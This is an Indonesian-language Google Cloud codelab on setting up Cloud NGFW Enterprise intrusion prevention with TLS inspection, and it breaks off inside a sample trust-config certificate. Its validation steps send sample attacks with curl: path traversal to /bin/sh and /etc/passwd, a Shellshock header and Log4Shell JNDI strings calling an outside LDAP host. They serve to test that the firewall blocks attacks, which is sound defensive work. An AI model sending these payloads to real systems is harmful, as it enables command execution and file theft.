1. Pengantar
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, segmentasi mikro, dan cakupan yang menyeluruh untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.
Cloud NGFW memiliki manfaat berikut:
- Layanan firewall terdistribusi: Cloud NGFW menyediakan penerapan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mewujudkan arsitektur keamanan zero-trust.
- Penyederhanaan konfigurasi dan deployment: Cloud NGFW menerapkan kebijakan firewall hierarkis dan jaringan yang dapat ditambahkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
- Kontrol terperinci dan segmentasi mikro: Kombinasi kebijakan firewall dan Tag yang diatur Pengelolaan Akses dan Identitas (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan dan organisasi Virtual Private Cloud (VPC).
Cloud NGFW tersedia dalam tingkat berikut:
- Dasar-Dasar Firewall Cloud Generasi Berikutnya
- Standar Firewall Cloud Next Generation
- Firewall Perusahaan Generasi Berikutnya Cloud
Cloud NGFW Enterprise
Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS), yakni kemampuan Lapisan 7, ke sistem Google Cloud Firewall yang terdistribusi. Pemeriksaan TLS didukung untuk memungkinkan pemeriksaan traffic yang dienkripsi TLS.
Kini Anda dapat men-deploy pemeriksaan Layer 7 Next Generation Firewall (NGFW) yang andal dengan kontrol terperinci, tanpa perlu mengubah arsitektur jaringan atau konfigurasi pemilihan rute Anda.
Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS, Anda harus melakukan tugas berikut:
- Buat sekumpulan endpoint firewall zona yang dikelola Google Cloud.
- (Opsional) Buat Kebijakan Inspeksi TLS.
- Secara opsional, buat Trust Config.
- Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
- Buat perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada guna menentukan profil pencegahan ancaman untuk berbagai jalur traffic.
Kebijakan firewall jaringan
Kebijakan firewall jaringan berfungsi sebagai penampung untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak diterapkan di mana pun hingga kebijakan tersebut dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait dengannya. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) pada aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.
Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat menyederhanakan konfigurasi dan pengelolaan firewall.
Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:
- Kebijakan Firewall Hierarkis
- Aturan Firewall VPC
- Kebijakan Firewall Jaringan ( Global dan Regional)
Kebijakan firewall hierarkis didukung di node folder dan organisasi dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di tingkat VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah bahwa aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dikaitkan ke satu VPC atau grup VPC, di antara manfaat lainnya seperti update batch.
Terakhir, kita juga memiliki aturan firewall implisit yang disertakan dengan setiap jaringan VPC:
- Aturan keluar yang tindakannya diizinkan, tujuannya adalah 0.0.0.0/0
- Aturan masuk yang tindakannya ditolak, sumbernya adalah 0.0.0.0/0
Secara default, urutan penerapan ditampilkan dalam diagram berikut:
Perlu diperhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan perintah penerapan kapan saja dengan perintah gcloud.
Tag
Tag baru yang terintegrasi dalam aturan kebijakan firewall jaringan adalah resource pasangan nilai kunci yang ditentukan di organisasi atau level project dalam hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM yang menentukan siapa yang dapat melakukan apa pada tag. Misalnya, izin Idenity and Access Management (IAM), memungkinkan Anda menentukan akun utama yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Jika aturan firewall jaringan mereferensikan Tag, aturan tersebut harus diterapkan ke resource, untuk penerapan.
Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diturunkan di seluruh hierarki dari induknya. Akibatnya, tag mungkin dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Buka halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.
Tag tidak sama dengan tag jaringan. Yang disebut terakhir adalah string yang dapat ditambahkan ke instance Compute Engine; terhubung dengan instance dan menghilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.
Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.
Yang akan Anda bangun
Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC serta mengelola sejumlah resource keamanan dan jaringan. Contoh ini akan mendemonstrasikan bagaimana Cloud NGFW Enterprise dapat menyediakan fungsi IPS dengan:
- Memeriksa aliran internet menuju utara dengan inspeksi TLS
- Memeriksa alur intra-vpc [East-West] dengan inspeksi TLS
Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall yang mencakup 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag.
Status akhir basis aturan kebijakan firewall jaringan akan serupa dengan tabel di bawah:
Prioritas | Arah | Target | Sumber | Tujuan | Tindakan | Jenis |
100 | Masuk | Server_Tag | Pemeriksaan Kesehatan | Semua | Izinkan | Essentials |
200 | Masuk | Client_Tag, Server_Tag | IAP | Semua | Izinkan | Essentials |
800 | Masuk | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Inspeksi L7 | Enterprise |
850 | Keluar | Client_Tag | Semua | 10.0.0.0/24 | Izinkan | Essentials |
900 | Keluar | Client_Tag | Semua | Semua | Inspeksi L7 | Enterprise |
Yang akan Anda pelajari
- Cara membuat kebijakan firewall jaringan.
- Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan.
- Cara mengonfigurasi dan menggunakan Cloud NGFW Enterprise dengan inspeksi TLS.
Yang Anda butuhkan
- project Google Cloud Anda.
- Pengetahuan dalam men-deploy instance dan mengonfigurasi komponen jaringan.
- memiliki pengetahuan konfigurasi firewall VPC.
2. Sebelum memulai
Membuat/memperbarui variabel
Codelab ini menggunakan $variables untuk membantu penerapan konfigurasi gcloud di Cloud Shell.
Di Cloud Shell, jalankan perintah di bawah untuk mengganti informasi dalam tanda kurung sesuai kebutuhan:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Mengaktifkan API
Aktifkan API jika Anda belum melakukannya:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Pembuatan Endpoint Cloud NGFW Enterprise
Karena pembuatan Endpoint Cloud NGFW Enterprise memerlukan waktu sekitar 20 menit, endpoint akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint dibuat.
Buat Profil Keamanan dan Grup Profil Keamanan:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Pastikan resource berhasil dibuat:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Buat endpoint Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing
Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Proses pembuatan memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.
5. Penyiapan Dasar
Jaringan dan subnet VPC
Jaringan VPC dan subnet
Buat subnet dan jaringan VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Buat Cloud Router dan gateway Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instance
Buat instance klien dan server web:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
Tag tingkat project
Tetapkan izin tagAdmin kepada pengguna jika diperlukan:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Buat Kunci dan nilai Tag level project:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Ikat tag dengan instance:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Kebijakan firewall jaringan global
Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Buat aturan Cloud Firewall Essential yang diperlukan untuk mengizinkan traffic dari rentang health-check dan identity-aware proxy:
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
Buat aturan Cloud Firewall yang diperlukan untuk mengizinkan traffic masuk ke timur-barat/intra-subnet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise dengan inspeksi TLS):
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Kaitkan kebijakan firewall cloud ke jaringan VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Asosiasi Endpoint Cloud Firewall
Tentukan variabel lingkungan jika Anda belum melakukannya dan/atau lebih memilih pendekatan skrip.
Pastikan pembuatan Cloud Firewall Endpoint telah berhasil diselesaikan. Hanya lanjutkan setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Kaitkan endpoint Cloud Firewall ke jaringan VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Proses pengaitan memerlukan waktu sekitar 10 menit. Hanya lanjutkan ke bagian TLS setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):
gcloud network-security firewall-endpoint-associations list
Output yang diharapkan setelah selesai:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Mengonfigurasi Resource TLS
Membuat kumpulan CA. Resource ini akan digunakan untuk menyimpan sertifikat Root CA yang kami buat untuk NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Membuat Root CA. Ini adalah Sertifikat CA yang akan digunakan untuk menandatangani sertifikat tambahan untuk permintaan melalui NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Jika Anda diminta dengan pesan di bawah ini, jawab y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Membuat akun layanan. Akun layanan ini akan digunakan untuk meminta sertifikat NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Menetapkan izin IAM untuk akun layanan:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Membuat file YAML Kebijakan TLS. File ini akan berisi informasi tentang resource spesifik:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Impor Kebijakan pemeriksaan TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Update pengaitan endpoint untuk mengaktifkan TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Mendapatkan sertifikat CA dan menambahkannya ke penyimpanan CA klien:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transfer sertifikat CA ke klien:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Jalankan SSH ke VM, pindahkan sertifikat CA ke /usr/local/share/ca-certificates dan perbarui penyimpanan CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Keluar kembali ke cloudshell.
Proses Penandatanganan Sertifikat Server:
Di cloudshell, instal library kriptografi Pyca menggunakan perintah pip:
pip install --user "cryptography>=2.2.0"
Untuk mengizinkan Google Cloud SDK menggunakan library kriptografi Pyca, Anda harus mengaktifkan paket situs.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Buat Sertifikat Server:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Tindakan ini akan menghasilkan file cert.pem dan key.pem di cloudshell. Selanjutnya, transfer sertifikat dan kunci ke server.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Lakukan SSH ke server untuk memperbarui detail sertifikat untuk Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Pindahkan sertifikat dan kunci ke folder tertentu:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Update konfigurasi SSL untuk menggunakan sertifikat yang ditandatangani:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Mulai ulang Apache:
sudo systemctl restart apache2
Verifikasi status Apache:
sudo systemctl status apache2
Fungsinya harus aktif (berjalan).
Keluar dari VM dan lanjutkan di cloudshell.
8. Validasi Konektivitas Arah Utara dan E/W
Jalankan perintah di bawah di Cloud Shell dan catat IP target yang akan digunakan:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda perlu menentukan variabel di tab baru):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Jalankan perintah di bawah ini dan catat IP target yang akan digunakan. Buat variabel yang mengganti nilai dalam tanda kurung dengan IP yang dicatat dari langkah sebelumnya dan pastikan dapat dijangkau:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Lakukan curl IP Pribadi dan pastikan IP dapat dijangkau:
curl https://$target_privateip --max-time 2
Hasil yang diharapkan untuk permintaan curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Kirim contoh serangan ke IP. Server web harus merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7 yang diterapkan:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Contoh Hasil yang diharapkan (IP pribadi):
400 404 400 200 200
Demikian pula, kirim permintaan ke tujuan internet:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Contoh hasil yang diharapkan (tujuan internet):
400 404 400 403 403
Keluar dari terminal VM dan kembali ke Cloud Shell.
9. Membuat dan Memperbarui Aturan Firewall untuk Pemeriksaan TLS
Sebelumnya, kita telah mengonfigurasi aturan firewall untuk mengizinkan traffic masuk ke server dari subnet internal. Sekarang kita akan memperbarui aturan masuk yang ada dan menetapkan tindakan ke apply_security_profile_group. Tindakan ini akan mengaktifkan pemeriksaan E/W L7 dengan TLS:
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Buat aturan baru untuk memeriksa inspeksi L7 yang menuju ke arah utara dengan TLS.
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Buat aturan baru guna mengizinkan EGRESS untuk E/W guna mencegah pemeriksaan ganda.
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Memvalidasi Inspeksi TLS Arah Utara
Pindah kembali ke tab VM klien atau hubungkan lagi:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Kirim contoh serangan ke tujuan internet:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Tidak ada respons yang diterima sesuai output yang diharapkan di bawah ini, mengonfirmasi bahwa contoh serangan sekarang diblokir:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Tetapkan variabel ke IP server dari sebelumnya:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Kirim contoh permintaan TLS ke server:
curl https://$target_privateip --max-time 2
Output yang diharapkan:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Mengapa permintaan ini gagal? Hal ini terjadi karena Firewall menerima sertifikat dari server yang tidak dapat dipercaya. Jika hal ini terjadi, sertifikat tersebut akan meneruskan sertifikat yang ditandatangani sendiri kembali ke klien. Kita perlu menambahkan sertifikat CA sebagai bagian dari konfigurasi kepercayaan untuk mengaktifkan kepercayaan.
Kembali ke Cloud Shell.
11. Mengonfigurasi Konfigurasi Kepercayaan
Dapatkan Sertifikat Root CA dan tetapkan sebagai variabel dengan pemformatan yang benar.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Mengonfigurasi file YAML Konfigurasi Kepercayaan. File ini berisi detail kepercayaan seperti sertifikat CA:
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
Perintah di atas menyertakan sertifikat Root CA sebagai bagian dari trust store karena sertifikat server Anda ditandatangani menggunakan Root CA. Artinya, firewall akan memercayai setiap sertifikat yang diterima yang telah ditandatangani oleh Root CA Anda - selain CA Publik jika kebijakan TLS Anda telah mengecualikan PublicCaSet ke false.
Periksa konten konfigurasi kepercayaan.
cat trust_config.yaml
Contoh Output:
Perhatikan penyelarasan indentasi sertifikat. URL tersebut harus mengikuti format ini dengan sama persis.
name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ 